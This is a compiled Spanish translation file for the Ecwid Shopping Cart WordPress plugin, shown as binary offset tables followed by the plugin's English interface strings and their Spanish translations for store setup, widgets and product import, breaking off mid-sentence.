��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CR.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender 